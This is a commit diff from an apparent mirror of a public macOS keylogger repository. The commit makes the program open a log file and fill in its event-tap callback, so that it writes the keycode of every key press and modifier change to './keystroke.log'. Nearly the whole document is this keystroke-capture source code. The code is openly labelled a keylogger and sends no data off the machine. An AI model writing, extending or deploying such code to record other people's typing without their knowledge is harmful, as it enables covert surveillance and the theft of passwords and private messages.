mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
File writing has begun.
This commit is contained in:
parent
8380149244
commit
71a63661bc
@ -8,6 +8,7 @@
|
||||
using namespace std;
|
||||
|
||||
const char *logfileLocation = "./keystroke.log";
|
||||
fstream logfile;
|
||||
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
@ -25,12 +26,19 @@ int main(int argc, const char *argv[]) {
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
CGEventTapEnable(eventTap, true);
|
||||
|
||||
ofstream logfile;
|
||||
logfile.open(logfileLocation, ios::app);
|
||||
logfile << "Keylogging started.";
|
||||
logfile.open(logfileLocation, ios::out);
|
||||
logfile << "Keylogging started.\n\n";
|
||||
CFRunLoopRun();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {}
|
||||
CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
||||
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
|
||||
return event;
|
||||
}
|
||||
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
|
||||
logfile << keyCode;
|
||||
return event;
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user